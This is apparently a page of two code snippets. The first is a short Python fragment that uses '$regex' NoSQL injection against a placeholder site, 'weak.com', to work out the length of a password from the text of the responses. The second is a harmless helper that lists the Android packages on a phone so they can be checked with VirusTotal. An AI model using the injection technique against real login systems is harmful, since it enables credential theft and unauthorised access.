This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| import requests, string | |
| from urllib.parse import quote_plus | |
| def test_regex(r): | |
| return "SUCCESS" in requests.get("http://weak.com/index.php?password[$regex]="+quote_plus(r)).text | |
| for l in range(1000): | |
| if test_regex("^.{"+str(l)+"}$"): | |
| break | |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| import os | |
| import requests | |
| from time import sleep | |
| VT_API_TOKEN = 'EDIT THIS' # create a free account on virustotal.com to get a public API key | |
| c = os.popen("adb shell pm list packages").read() | |
| if c == '': | |
| print("Run 'adb devices' in a shell to make sure your phone is correctly connected") | |
| exit() |